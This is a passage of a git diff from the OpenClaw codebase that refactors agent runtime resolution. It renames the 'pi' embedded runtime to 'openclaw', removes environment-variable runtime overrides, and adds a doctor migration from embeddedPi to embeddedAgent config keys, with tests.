= asMutableRecord(defaults?.compaction); const hits = collectUnsupportedCodexCompactionOverridesForAgent({ cfg: params.cfg, agent: defaults, path: "agents.defaults", - currentRuntime: resolveRuntime({ env: params.env, defaultsRuntime }), + currentRuntime: resolveRuntime({ defaultsRuntime }), }); const agents = Array.isArray(params.cfg.agents?.list) ? params.cfg.agents.list : []; for (const [index, agent] of agents.entries()) { @@ -669,7 +671,6 @@ function collectUnsupportedCodexCompactionOverrides(params: { path: `agents.list.${id}`, agentId: id, currentRuntime: resolveRuntime({ - env: params.env, agentRuntime: params.ignoreLegacyAgentRuntimePins ? undefined : asAgentRuntimePolicyConfig(agentRecord.agentRuntime), @@ -686,7 +687,6 @@ function collectUnsupportedCodexCompactionOverrides(params: { function getSharedDefaultCompactionOverrideConsumers(params: { cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; ignoreLegacyAgentRuntimePins?: boolean; }): SharedDefaultCompactionOverrideConsumers { const consumers: SharedDefaultCompactionOverrideConsumers = { model: false, provider: false }; @@ -702,13 +702,12 @@ function getSharedDefaultCompactionOverrideConsumers(params: { if (!hasDefaultModel && !hasDefaultProvider) { return consumers; } - const defaultsRuntime = defaults?.agentRuntime; + const defaultsRuntime = readLegacyDefaultsRuntime(defaults); const inheritedModelRef = readAgentPrimaryModelRef(defaults); const defaultUsesCodexCompaction = agentUsesCodexRuntimeForCompaction({ cfg: params.cfg, agent: defaults, currentRuntime: resolveRuntime({ - env: params.env, defaultsRuntime: params.ignoreLegacyAgentRuntimePins ? undefined : defaultsRuntime, }), }); @@ -747,7 +746,6 @@ function getSharedDefaultCompactionOverrideConsumers(params: { agent: agentRecord, agentId: id, currentRuntime: resolveRuntime({ - env: params.env, agentRuntime: params.ignoreLegacyAgentRuntimePins ? undefined : asAgentRuntimePolicyConfig(agentRecord.agentRuntime), @@ -768,7 +766,6 @@ function getSharedDefaultCompactionOverrideConsumers(params: { function sharedDefaultLosslessCompactionHasNonCodexConsumer(params: { cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; ignoreLegacyAgentRuntimePins?: boolean; }): boolean { const defaults = params.cfg.agents?.defaults; @@ -780,11 +777,13 @@ function sharedDefaultLosslessCompactionHasNonCodexConsumer(params: { if (!hasDefaultLosslessProvider && !hasDefaultModel) { return false; } - const defaultsRuntime = params.ignoreLegacyAgentRuntimePins ? undefined : defaults?.agentRuntime; + const defaultsRuntime = params.ignoreLegacyAgentRuntimePins + ? undefined + : readLegacyDefaultsRuntime(defaults); const defaultUsesCodexCompaction = agentUsesCodexRuntimeForCompaction({ cfg: params.cfg, agent: defaults, - currentRuntime: resolveRuntime({ env: params.env, defaultsRuntime }), + currentRuntime: resolveRuntime({ defaultsRuntime }), }); if (!defaultUsesCodexCompaction) { return true; @@ -815,7 +814,6 @@ function sharedDefaultLosslessCompactionHasNonCodexConsumer(params: { agent: agentRecord, agentId: id, currentRuntime: resolveRuntime({ - env: params.env, agentRuntime: params.ignoreLegacyAgentRuntimePins ? undefined : asAgentRuntimePolicyConfig(agentRecord.agentRuntime), @@ -900,15 +898,15 @@ function collectAgentModelRefs(params: { } } -function collectConfigModelRefs(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv): CodexRouteHit[] { +function collectConfigModelRefs(cfg: OpenClawConfig): CodexRouteHit[] { const hits: CodexRouteHit[] = []; const defaults = cfg.agents?.defaults; - const defaultsRuntime = defaults?.agentRuntime; + const defaultsRuntime = readLegacyDefaultsRuntime(defaults); collectAgentModelRefs({ hits, agent: defaults, path: "agents.defaults", - runtime: resolveRuntime({ env, defaultsRuntime }), + runtime: resolveRuntime({ defaultsRuntime }), collectModelsMap: true, }); @@ -927,7 +925,6 @@ function collectConfigModelRefs(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv): C agent: agentRecord, path: `agents.list.${id}`, runtime: resolveRuntime({ - env, agentRuntime: asAgentRuntimePolicyConfig(agentRecord.agentRuntime), defaultsRuntime, }), @@ -1382,8 +1379,8 @@ function collectCodexRuntimeModelPolicyRefs(params: { if (!trimmed) { continue; } - const runtime = normalizeEmbeddedAgentRuntime( - normalizeString(asMutableRecord(asMutableRecord(entry)?.agentRuntime)?.id), + const runtime = normalizeRuntimeString( + asMutableRecord(asMutableRecord(entry)?.agentRuntime)?.id, ); if (runtime === "codex") { params.refs.push({ path: `${params.path}.${trimmed}`, modelRef: trimmed }); @@ -1908,7 +1905,6 @@ function ensureLosslessLlmPolicy(params: { function maybeMigrateLegacyLosslessCompactionConfig(params: { cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; ignoreLegacyAgentRuntimePins?: boolean; }): string[] { const root = params.cfg as MutableRecord; @@ -2184,7 +2180,6 @@ function isCompactionOnlyRouteHit(hit: CodexRouteHit): boolean { function rewriteConfigModelRefsWithCompactionPolicy(params: { cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; preserveSharedDefaultCompactionOverrides: SharedDefaultCompactionOverrideConsumers; ignoreLegacyAgentRuntimePins?: boolean; }): ConfigRouteRepairResult { @@ -2196,32 +2191,29 @@ function rewriteConfigModelRefsWithCompactionPolicy(params: { params.ignoreLegacyAgentRuntimePins ?? configRepairWouldClearLegacyRuntimePins({ cfg: nextConfig, - env: params.env, }); unsupportedCompactionChanges.push( ...maybeMigrateLegacyLosslessCompactionConfig({ cfg: nextConfig, - env: params.env, ignoreLegacyAgentRuntimePins, }), ); const preservedLegacyLosslessCompactionPaths = new Set( collectLegacyLosslessCompactionConfigs({ cfg: nextConfig, - env: params.env, ignoreLegacyAgentRuntimePins, }).flatMap((hit) => (hit.modelPath ? [hit.providerPath, hit.modelPath] : [hit.providerPath])), ); const defaultsRuntime = ignoreLegacyAgentRuntimePins ? undefined - : nextConfig.agents?.defaults?.agentRuntime; + : readLegacyDefaultsRuntime(nextConfig.agents?.defaults); const rewrittenInheritedCompactionModels = new Map(); rewriteAgentModelRefs({ cfg: nextConfig, hits, agent: asMutableRecord(nextConfig.agents?.defaults), path: "agents.defaults", - currentRuntime: resolveRuntime({ env: params.env, defaultsRuntime }), + currentRuntime: resolveRuntime({ defaultsRuntime }), rewriteModelsMap: true, preserveUnsupportedCompactionOverrides: params.preserveSharedDefaultCompactionOverrides, preserveUnsupportedCompactionPaths: preservedLegacyLosslessCompactionPaths, @@ -2247,7 +2239,6 @@ function rewriteConfigModelRefsWithCompactionPolicy(params: { path: `agents.list.${id}`, agentId: id, currentRuntime: resolveRuntime({ - env: params.env, agentRuntime: ignoreLegacyAgentRuntimePins ? undefined : asAgentRuntimePolicyConfig(agentRecord.agentRuntime), @@ -2329,31 +2320,22 @@ function rewriteConfigModelRefsWithCompactionPolicy(params: { }; } -function configRepairWouldClearLegacyRuntimePins(params: { - cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; -}): boolean { +function configRepairWouldClearLegacyRuntimePins(params: { cfg: OpenClawConfig }): boolean { const dryRun = rewriteConfigModelRefsWithCompactionPolicy({ cfg: params.cfg, - env: params.env, preserveSharedDefaultCompactionOverrides: { model: true, provider: true }, ignoreLegacyAgentRuntimePins: false, }); return dryRun.changes.some((hit) => !isCompactionOnlyRouteHit(hit)); } -function rewriteConfigModelRefs(params: { - cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; -}): ConfigRouteRepairResult { +function rewriteConfigModelRefs(params: { cfg: OpenClawConfig }): ConfigRouteRepairResult { const preserveSharedDefaultCompactionOverrides = getSharedDefaultCompactionOverrideConsumers({ cfg: params.cfg, - env: params.env, ignoreLegacyAgentRuntimePins: configRepairWouldClearLegacyRuntimePins(params), }); return rewriteConfigModelRefsWithCompactionPolicy({ cfg: params.cfg, - env: params.env, preserveSharedDefaultCompactionOverrides, }); } @@ -2408,8 +2390,8 @@ function formatDisabledCodexPluginWarning(params: { blockedOutsideEntry: boolean; }): string { const fixHint = params.blockedOutsideEntry - ? "- Enable plugin loading and remove `codex` from plugins.deny, or set the affected OpenAI models to a PI runtime policy." - : "- Run `openclaw doctor --fix`: it enables plugins.entries.codex, or set the affected OpenAI models to a PI runtime policy."; + ? "- Enable plugin loading and remove `codex` from plugins.deny, or set the affected OpenAI models to an OpenClaw runtime policy." + : "- Run `openclaw doctor --fix`: it enables plugins.entries.codex, or set the affected OpenAI models to an OpenClaw runtime policy."; return [ "- Codex runtime is selected, but the Codex plugin is disabled.", ...params.hits.map( @@ -2447,11 +2429,11 @@ export function collectCodexRouteWarnings(params: { cfg: OpenClawConfig; env?: NodeJS.ProcessEnv; }): string[] { - const hits = collectConfigModelRefs(params.cfg, params.env); + const hits = collectConfigModelRefs(params.cfg); const disabledCodexPluginHits = collectDisabledCodexPluginRouteHits(params.cfg); const ignoreLegacyAgentRuntimePins = configRepairWouldClearLegacyRuntimePins(params); const legacyLosslessCompactionConfigs = collectLegacyLosslessCompactionConfigs({ - ...params, + cfg: params.cfg, ignoreLegacyAgentRuntimePins, }); const legacyLosslessCompactionPaths = new Set( @@ -2460,17 +2442,16 @@ export function collectCodexRouteWarnings(params: { ), ); const unsupportedCompactionOverrides = collectUnsupportedCodexCompactionOverrides({ - ...params, + cfg: params.cfg, ignoreLegacyAgentRuntimePins, }).filter((hit) => !legacyLosslessCompactionPaths.has(hit.path)); const sharedDefaultCompactionConsumers = getSharedDefaultCompactionOverrideConsumers({ cfg: params.cfg, - env: params.env, ignoreLegacyAgentRuntimePins: configRepairWouldClearLegacyRuntimePins(params), }); const sharedLosslessDefaultHasNonCodexConsumer = sharedDefaultLosslessCompactionHasNonCodexConsumer({ - ...params, + cfg: params.cfg, ignoreLegacyAgentRuntimePins, }); const warnings: string[] = []; @@ -2550,17 +2531,15 @@ export function maybeRepairCodexRoutes(params: { shouldRepair: boolean; codexRuntimeReady?: boolean; }): { cfg: OpenClawConfig; warnings: string[]; changes: string[] } { - const hits = collectConfigModelRefs(params.cfg, params.env); + const hits = collectConfigModelRefs(params.cfg); const disabledCodexPluginHits = collectDisabledCodexPluginRouteHits(params.cfg); const ignoreLegacyAgentRuntimePins = configRepairWouldClearLegacyRuntimePins(params); const unsupportedCompactionOverrides = collectUnsupportedCodexCompactionOverrides({ cfg: params.cfg, - env: params.env, ignoreLegacyAgentRuntimePins, }); const legacyLosslessCompactionConfigs = collectLegacyLosslessCompactionConfigs({ cfg: params.cfg, - env: params.env, ignoreLegacyAgentRuntimePins, }); if ( @@ -2580,7 +2559,6 @@ export function maybeRepairCodexRoutes(params: { } const repaired = rewriteConfigModelRefs({ cfg: params.cfg, - env: params.env, }); const codexPluginRepair = enableCodexPluginForRequiredRoutes({ cfg: repaired.cfg, diff --git a/src/commands/doctor/shared/configured-runtime-plugin-installs.ts b/src/commands/doctor/shared/configured-runtime-plugin-installs.ts index b3a03626d43..32ff2d28c95 100644 --- a/src/commands/doctor/shared/configured-runtime-plugin-installs.ts +++ b/src/commands/doctor/shared/configured-runtime-plugin-installs.ts @@ -53,10 +53,9 @@ function acpxRuntimeIsConfigured(cfg: OpenClawConfig): boolean { export function collectConfiguredRuntimePluginIds( cfg: OpenClawConfig, - env: NodeJS.ProcessEnv, options?: ConfiguredAgentHarnessRuntimeOptions, ): string[] { - const ids = new Set(collectConfiguredAgentHarnessRuntimes(cfg, env, options)); + const ids = new Set(collectConfiguredAgentHarnessRuntimes(cfg, options)); if (acpxRuntimeIsConfigured(cfg)) { ids.add("acpx"); } diff --git a/src/commands/doctor/shared/context-engine-host-compat.test.ts b/src/commands/doctor/shared/context-engine-host-compat.test.ts index 72f505f6928..fc715b66924 100644 --- a/src/commands/doctor/shared/context-engine-host-compat.test.ts +++ b/src/commands/doctor/shared/context-engine-host-compat.test.ts @@ -59,14 +59,14 @@ function configWithEngine(engineId: string, cfg: OpenClawConfig = {}): OpenClawC } describe("doctor context-engine host compatibility", () => { - it("collects native Codex and Pi as compatible agent-run hosts", () => { + it("collects native Codex and OpenClaw as compatible agent-run hosts", () => { const hosts = collectConfiguredContextEngineAgentRunHosts({ cfg: { agents: { defaults: { models: { "openai/gpt-5.5": { agentRuntime: { id: "codex" } }, - "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "pi" } }, + "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "openclaw" } }, }, }, }, @@ -75,7 +75,7 @@ describe("doctor context-engine host compatibility", () => { expect(hosts.map((host) => host.host.id).toSorted()).toEqual([ "codex-app-server", - "pi-embedded", + "openclaw-embedded", ]); }); diff --git a/src/commands/doctor/shared/context-engine-host-compat.ts b/src/commands/doctor/shared/context-engine-host-compat.ts index a086c1f5510..101c0ff059b 100644 --- a/src/commands/doctor/shared/context-engine-host-compat.ts +++ b/src/commands/doctor/shared/context-engine-host-compat.ts @@ -1,16 +1,16 @@ +import { normalizeEmbeddedAgentRuntime } from "../../../agents/agent-runtime-id.js"; import { resolveDefaultAgentDir } from "../../../agents/agent-scope-config.js"; import { resolveCliBackendConfig } from "../../../agents/cli-backends.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../../../agents/defaults.js"; import { resolveAgentHarnessPolicy } from "../../../agents/harness/policy.js"; import { getRegisteredAgentHarness } from "../../../agents/harness/registry.js"; -import { normalizeEmbeddedAgentRuntime } from "../../../agents/pi-embedded-runner/runtime.js"; import { normalizeProviderId } from "../../../agents/provider-id.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; import { buildGenericCliContextEngineHostSupport, CODEX_APP_SERVER_CONTEXT_ENGINE_HOST, evaluateContextEngineHostSupport, - PI_EMBEDDED_CONTEXT_ENGINE_HOST, + OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST, type ContextEngineHostSupport, } from "../../../context-engine/host-compat.js"; import { ensureContextEnginesInitialized } from "../../../context-engine/init.js"; @@ -163,8 +163,8 @@ function runtimeHostCandidate(params: { paths: string[]; }): HostCandidate { const runtimeId = normalizeRuntimeId(params.runtimeId) ?? params.runtimeId; - if (runtimeId === "pi" || runtimeId === "auto") { - return { runtimeId, host: PI_EMBEDDED_CONTEXT_ENGINE_HOST, paths: params.paths }; + if (runtimeId === "openclaw" || runtimeId === "auto") { + return { runtimeId, host: OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST, paths: params.paths }; } if (runtimeId === "codex") { return { runtimeId, host: CODEX_APP_SERVER_CONTEXT_ENGINE_HOST, paths: params.paths }; @@ -194,12 +194,11 @@ function runtimeHostCandidate(params: { }; } -/** Collect effective agent-run host candidates from config and environment runtime policy. */ +/** Collect effective agent-run host candidates from provider/model runtime policy. */ export function collectConfiguredContextEngineAgentRunHosts(params: { cfg: OpenClawConfig; env?: NodeJS.ProcessEnv; }): HostCandidate[] { - const envRuntime = normalizeRuntimeId(params.env?.OPENCLAW_AGENT_RUNTIME); const runtimePaths = new Map(); const push = (runtimeId: string | undefined, path: string) => { if (!runtimeId) { @@ -211,13 +210,6 @@ export function collectConfiguredContextEngineAgentRunHosts(params: { runtimePaths.set(normalized, paths); }; - if (envRuntime) { - push(envRuntime, "OPENCLAW_AGENT_RUNTIME"); - return [...runtimePaths.entries()].map(([runtimeId, paths]) => - runtimeHostCandidate({ cfg: params.cfg, runtimeId, paths }), - ); - } - for (const ref of collectExplicitRuntimeRefs(params.cfg)) { push(ref.runtimeId, ref.path); } diff --git a/src/commands/doctor/shared/deprecation-compat.test.ts b/src/commands/doctor/shared/deprecation-compat.test.ts index 51245ac6fa9..1a9bfd00527 100644 --- a/src/commands/doctor/shared/deprecation-compat.test.ts +++ b/src/commands/doctor/shared/deprecation-compat.test.ts @@ -11,8 +11,10 @@ const datePattern = /^\d{4}-\d{2}-\d{2}$/u; const requiredDoctorCompatCodes = [ "doctor-agent-runtime-embedded-harness", + "doctor-agent-embedded-pi-config", "doctor-plugin-install-config-ledger", "doctor-bundled-plugin-load-paths", + "doctor-bundled-provider-discovery-allowlist", "doctor-message-queue-steering-modes", "doctor-web-search-plugin-config", "doctor-web-fetch-plugin-config", diff --git a/src/commands/doctor/shared/deprecation-compat.ts b/src/commands/doctor/shared/deprecation-compat.ts index fca3d889659..ef79a505cee 100644 --- a/src/commands/doctor/shared/deprecation-compat.ts +++ b/src/commands/doctor/shared/deprecation-compat.ts @@ -75,11 +75,23 @@ const DOCTOR_DEPRECATION_COMPAT_RECORDS = [ introduced: "2026-04-25", source: "agents.defaults.embeddedHarness; agents.list[].embeddedHarness", migration: "src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts", - replacement: "agents.defaults.agentRuntime and agents.list[].agentRuntime", + replacement: "models.providers..agentRuntime or model-scoped agentRuntime", docsPath: "/plugins/sdk-agent-harness", tests: ["src/commands/doctor/shared/legacy-config-migrate.test.ts"], notes: - "Runtime-policy naming changed during the plugin architecture work; verify replacement wording against current agentRuntime docs before removal.", + "Whole-agent runtime pins are retired; doctor preserves intent only when it can move the value to provider/model runtime policy.", + }), + deprecatedCompatRecord({ + code: "doctor-agent-embedded-pi-config", + owner: "agent-runtime", + introduced: "2026-05-21", + source: "agents.defaults.embeddedPi; agents.list[].embeddedPi", + migration: "src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts", + replacement: "agents.defaults.embeddedAgent; agents.list[].embeddedAgent", + docsPath: "/gateway/config-agents", + tests: ["src/commands/doctor/shared/legacy-config-migrate.test.ts"], + notes: + "Runtime code no longer reads the legacy key; doctor keeps this migration only to preserve shipped configs during upgrade.", }), deprecatedCompatRecord({ code: "doctor-agent-sandbox-persession", @@ -228,6 +240,18 @@ const DOCTOR_DEPRECATION_COMPAT_RECORDS = [ docsPath: "/cli/plugins#registry", tests: ["src/commands/doctor/shared/bundled-plugin-load-paths.test.ts"], }), + deprecatedCompatRecord({ + code: "doctor-bundled-provider-discovery-allowlist", + owner: "plugin", + introduced: "2026-04-25", + source: "plugins.allow configs created before bundled provider discovery was explicit", + migration: "src/commands/doctor/shared/legacy-config-migrations.runtime.providers.ts", + replacement: "plugins.bundledDiscovery allowlist mode plus explicit plugin/provider entries", + docsPath: "/cli/plugins#registry", + tests: ["src/commands/doctor/shared/legacy-config-migrate.test.ts"], + notes: + "Doctor preserves the shipped upgrade path only; runtime compatibility should stay behind explicit bundledDiscovery config.", + }), deprecatedCompatRecord({ code: "doctor-web-search-plugin-config", owner: "provider", diff --git a/src/commands/doctor/shared/legacy-config-core-normalizers.ts b/src/commands/doctor/shared/legacy-config-core-normalizers.ts index e24e2abb464..b904e1739c1 100644 --- a/src/commands/doctor/shared/legacy-config-core-normalizers.ts +++ b/src/commands/doctor/shared/legacy-config-core-normalizers.ts @@ -1,8 +1,3 @@ -import { - legacyRuntimeModelAliasRequiresRuntimePolicy, - listLegacyRuntimeModelProviderAliases, - migrateLegacyRuntimeModelRef, -} from "../../../agents/model-runtime-aliases.js"; import { normalizeProviderId } from "../../../agents/provider-id.js"; import { resolveSingleAccountKeysToMove } from "../../../channels/plugins/setup-promotion-helpers.js"; import { resolveNormalizedProviderModelMaxTokens } from "../../../config/defaults.js"; @@ -16,6 +11,11 @@ import { import { sanitizeForLog } from "../../../terminal/ansi.js"; import { hasOwnKey, isRecord } from "./legacy-config-record-shared.js"; import { isLegacyModelsAddCodexMetadataModel } from "./legacy-models-add-metadata.js"; +import { + legacyRuntimeModelAliasRequiresRuntimePolicy, + listLegacyRuntimeModelProviderAliases, + migrateLegacyRuntimeModelRef, +} from "./legacy-runtime-model-providers.js"; export { normalizeLegacyTalkConfig } from "./legacy-talk-config-normalizer.js"; export function normalizeLegacyCommandsConfig( @@ -217,7 +217,7 @@ function resolveLegacyWholeAgentRuntimePolicy(raw: unknown): return undefined; } const runtime = normalizeOptionalLowercaseString(raw.id); - if (!runtime || runtime === "auto" || runtime === "pi") { + if (!runtime || runtime === "auto" || runtime === "openclaw") { return undefined; } const alias = listLegacyRuntimeModelProviderAliases().find( diff --git a/src/commands/doctor/shared/legacy-config-migrate.test.ts b/src/commands/doctor/shared/legacy-config-migrate.test.ts index 2e2339f8ff2..c6d77c422f2 100644 --- a/src/commands/doctor/shared/legacy-config-migrate.test.ts +++ b/src/commands/doctor/shared/legacy-config-migrate.test.ts @@ -877,33 +877,6 @@ describe("legacy migrate mention routing", () => { }); }); -describe("legacy bundled provider discovery migrate", () => { - it("sets compat mode for existing restrictive plugin allowlists", () => { - const res = migrateLegacyConfigForTest({ - plugins: { - allow: ["telegram"], - }, - }); - - expect(res.config?.plugins?.bundledDiscovery).toBe("compat"); - expect(res.changes).toStrictEqual([ - 'Set plugins.bundledDiscovery="compat" to preserve legacy bundled provider discovery for this restrictive plugins.allow config.', - ]); - }); - - it("does not override explicit bundled discovery mode", () => { - const res = migrateLegacyConfigForTest({ - plugins: { - allow: ["telegram"], - bundledDiscovery: "allowlist", - }, - }); - - expect(res.config).toBeNull(); - expect(res.changes).toStrictEqual([]); - }); -}); - describe("legacy migrate sandbox scope aliases", () => { it("removes legacy agents.defaults.llm timeout config", () => { const res = migrateLegacyConfigForTest({ @@ -937,7 +910,7 @@ describe("legacy migrate sandbox scope aliases", () => { list: [ { id: "reviewer", - agentRuntime: { fallback: "pi" }, + agentRuntime: { fallback: "openclaw" }, embeddedHarness: { runtime: "codex", fallback: "none", @@ -1020,7 +993,7 @@ describe("legacy migrate sandbox scope aliases", () => { agentRuntime: { id: "claude-cli" }, model: "anthropic/claude-opus-4-7", models: { - "anthropic/claude-opus-4-7": { agentRuntime: { id: "pi" } }, + "anthropic/claude-opus-4-7": { agentRuntime: { id: "openclaw" } }, }, }, }, @@ -1032,7 +1005,71 @@ describe("legacy migrate sandbox scope aliases", () => { expect(res.config?.agents?.defaults).toEqual({ model: "anthropic/claude-opus-4-7", models: { - "anthropic/claude-opus-4-7": { agentRuntime: { id: "pi" } }, + "anthropic/claude-opus-4-7": { agentRuntime: { id: "openclaw" } }, + }, + }); + }); + + it("moves legacy embeddedPi config into embeddedAgent", () => { + const res = migrateLegacyConfigForTest({ + agents: { + defaults: { + embeddedPi: { + projectSettingsPolicy: "sanitize", + executionContract: "strict-agentic", + }, + }, + list: [ + { + id: "worker", + embeddedPi: { + executionContract: "strict-agentic", + }, + }, + ], + }, + }); + + expect(res.changes).toStrictEqual([ + "Moved agents.defaults.embeddedPi → agents.defaults.embeddedAgent.", + "Moved agents.list.0.embeddedPi → agents.list.0.embeddedAgent.", + ]); + expect(res.config?.agents?.defaults).toEqual({ + embeddedAgent: { + projectSettingsPolicy: "sanitize", + executionContract: "strict-agentic", + }, + }); + expect(res.config?.agents?.list?.[0]).toEqual({ + id: "worker", + embeddedAgent: { + executionContract: "strict-agentic", + }, + }); + }); + + it("merges legacy embeddedPi config without overwriting embeddedAgent", () => { + const res = migrateLegacyConfigForTest({ + agents: { + defaults: { + embeddedAgent: { + executionContract: "default", + }, + embeddedPi: { + projectSettingsPolicy: "sanitize", + executionContract: "strict-agentic", + }, + }, + }, + }); + + expect(res.changes).toStrictEqual([ + "Merged agents.defaults.embeddedPi → agents.defaults.embeddedAgent (filled missing fields from legacy; kept explicit embeddedAgent values).", + ]); + expect(res.config?.agents?.defaults).toEqual({ + embeddedAgent: { + executionContract: "default", + projectSettingsPolicy: "sanitize", }, }); }); @@ -1061,7 +1098,7 @@ describe("legacy migrate sandbox scope aliases", () => { agents: { list: [ { - id: "pi", + id: "openclaw", sandbox: { perSession: false, }, @@ -1202,6 +1239,33 @@ describe("legacy migrate x_search auth", () => { }); }); +describe("legacy bundled provider discovery migrate", () => { + it("sets compat mode for existing restrictive plugin allowlists", () => { + const res = migrateLegacyConfigForTest({ + plugins: { + allow: ["telegram"], + }, + }); + + expect(res.config?.plugins?.bundledDiscovery).toBe("compat"); + expect(res.changes).toStrictEqual([ + 'Set plugins.bundledDiscovery="compat" to preserve legacy bundled provider discovery for this restrictive plugins.allow config.', + ]); + }); + + it("does not override explicit bundled discovery mode", () => { + const res = migrateLegacyConfigForTest({ + plugins: { + allow: ["telegram"], + bundledDiscovery: "allowlist", + }, + }); + + expect(res.config).toBeNull(); + expect(res.changes).toStrictEqual([]); + }); +}); + describe("legacy migrate heartbeat config", () => { it("moves top-level heartbeat into agents.defaults.heartbeat", () => { const res = migrateLegacyConfigForTest({ diff --git a/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts b/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts index edbe7ba27f0..89eb568f86c 100644 --- a/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts +++ b/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts @@ -1,4 +1,3 @@ -import { listLegacyRuntimeModelProviderAliases } from "../../../agents/model-runtime-aliases.js"; import { normalizeProviderId } from "../../../agents/provider-id.js"; import { isKnownCoreToolId } from "../../../agents/tool-catalog.js"; import { isToolAllowedByPolicyName } from "../../../agents/tool-policy-match.js"; @@ -14,6 +13,7 @@ import { } from "../../../config/legacy.shared.js"; import { isBlockedObjectKey } from "../../../config/prototype-keys.js"; import { uniqueStrings } from "../../../shared/string-normalization.js"; +import { listLegacyRuntimeModelProviderAliases } from "./legacy-runtime-model-providers.js"; const AGENT_HEARTBEAT_KEYS = new Set([ "every", @@ -98,6 +98,21 @@ const LEGACY_AGENT_RUNTIME_POLICY_RULES: LegacyConfigRule[] = [ }, ]; +const DEPRECATED_EMBEDDED_AGENT_KEY_RULES: LegacyConfigRule[] = [ + { + path: ["agents", "defaults", "embeddedPi"], + message: + 'agents.defaults.embeddedPi is legacy; use agents.defaults.embeddedAgent instead. Run "openclaw doctor --fix".', + match: (value) => getRecord(value) !== null, + }, + { + path: ["agents", "list"], + message: + 'agents.list[].embeddedPi is legacy; use agents.list[].embeddedAgent instead. Run "openclaw doctor --fix".', + match: (value) => hasLegacyAgentListEmbeddedAgentKey(value), + }, +]; + const LEGACY_AGENT_LLM_TIMEOUT_RULES: LegacyConfigRule[] = [ { path: ["agents", "defaults", "llm"], @@ -264,6 +279,13 @@ function hasLegacyAgentListEmbeddedHarness(value: unknown): boolean { return value.some((agent) => getRecord(getRecord(agent)?.embeddedHarness) !== null); } +function hasLegacyAgentListEmbeddedAgentKey(value: unknown): boolean { + if (!Array.isArray(value)) { + return false; + } + return value.some((agent) => getRecord(getRecord(agent)?.embeddedPi) !== null); +} + function hasAgentListRuntimePolicy(value: unknown): boolean { if (!Array.isArray(value)) { return false; @@ -289,6 +311,30 @@ function hasAgentListModelTimeout(value: unknown): boolean { }); } +function migrateLegacyEmbeddedAgentKey( + container: Record, + pathLabel: string, + changes: string[], +): void { + const legacy = getRecord(container.embeddedPi); + if (!legacy) { + return; + } + const existing = getRecord(container.embeddedAgent); + if (!existing) { + container.embeddedAgent = legacy; + changes.push(`Moved ${pathLabel}.embeddedPi → ${pathLabel}.embeddedAgent.`); + } else { + const merged = structuredClone(existing); + mergeMissing(merged, legacy); + container.embeddedAgent = merged; + changes.push( + `Merged ${pathLabel}.embeddedPi → ${pathLabel}.embeddedAgent (filled missing fields from legacy; kept explicit embeddedAgent values).`, + ); + } + delete container.embeddedPi; +} + function migrateLegacySandboxPerSession( sandbox: Record, pathLabel: string, @@ -332,7 +378,7 @@ function resolveLegacyAgentRuntimeIntent(raw: unknown): LegacyAgentRuntimeIntent return undefined; } const runtime = typeof record.id === "string" ? record.id.trim().toLowerCase() : ""; - if (!runtime || runtime === "auto" || runtime === "pi") { + if (!runtime || runtime === "auto" || runtime === "openclaw") { return undefined; } const alias = listLegacyRuntimeModelProviderAliases().find( @@ -1106,6 +1152,29 @@ export const LEGACY_CONFIG_MIGRATIONS_RUNTIME_AGENTS: LegacyConfigMigrationSpec[ } }, }), + defineLegacyConfigMigration({ + id: "agents.embeddedPi->embeddedAgent", + describe: "Move legacy embedded agent config key to embeddedAgent", + legacyRules: DEPRECATED_EMBEDDED_AGENT_KEY_RULES, + apply: (raw, changes) => { + const agents = getRecord(raw.agents); + const defaults = getRecord(agents?.defaults); + if (defaults) { + migrateLegacyEmbeddedAgentKey(defaults, "agents.defaults", changes); + } + + if (!Array.isArray(agents?.list)) { + return; + } + for (const [index, agent] of agents.list.entries()) { + const agentRecord = getRecord(agent); + if (!agentRecord) { + continue; + } + migrateLegacyEmbeddedAgentKey(agentRecord, `agents.list.${index}`, changes); + } + }, + }), defineLegacyConfigMigration({ id: "agents.agentRuntime-ignored", describe: "Remove ignored agent-wide runtime policy", diff --git a/src/commands/doctor/shared/legacy-config-migrations.runtime.providers.ts b/src/commands/doctor/shared/legacy-config-migrations.runtime.providers.ts index bce98e874ac..2724cfcb50f 100644 --- a/src/commands/doctor/shared/legacy-config-migrations.runtime.providers.ts +++ b/src/commands/doctor/shared/legacy-config-migrations.runtime.providers.ts @@ -6,12 +6,6 @@ import { import { isRecord } from "./legacy-config-record-shared.js"; import { migrateLegacyXSearchConfig } from "./legacy-x-search-migrate.js"; -const X_SEARCH_RULE: LegacyConfigRule = { - path: ["tools", "web", "x_search", "apiKey"], - message: - 'tools.web.x_search.apiKey moved to the xAI plugin; use plugins.entries.xai.config.webSearch.apiKey instead. Run "openclaw doctor --fix".', -}; - const BUNDLED_DISCOVERY_COMPAT_RULE: LegacyConfigRule = { path: ["plugins", "allow"], message: @@ -26,10 +20,16 @@ const BUNDLED_DISCOVERY_COMPAT_RULE: LegacyConfigRule = { }, }; +const X_SEARCH_RULE: LegacyConfigRule = { + path: ["tools", "web", "x_search", "apiKey"], + message: + 'tools.web.x_search.apiKey moved to the xAI plugin; use plugins.entries.xai.config.webSearch.apiKey instead. Run "openclaw doctor --fix".', +}; + export const LEGACY_CONFIG_MIGRATIONS_RUNTIME_PROVIDERS: LegacyConfigMigrationSpec[] = [ defineLegacyConfigMigration({ id: "plugins.allow->plugins.bundledDiscovery.compat", - describe: "Preserve legacy bundled provider discovery for existing restrictive allowlists", + describe: "Preserve bundled provider discovery for existing restrictive allowlists", legacyRules: [BUNDLED_DISCOVERY_COMPAT_RULE], apply: (raw, 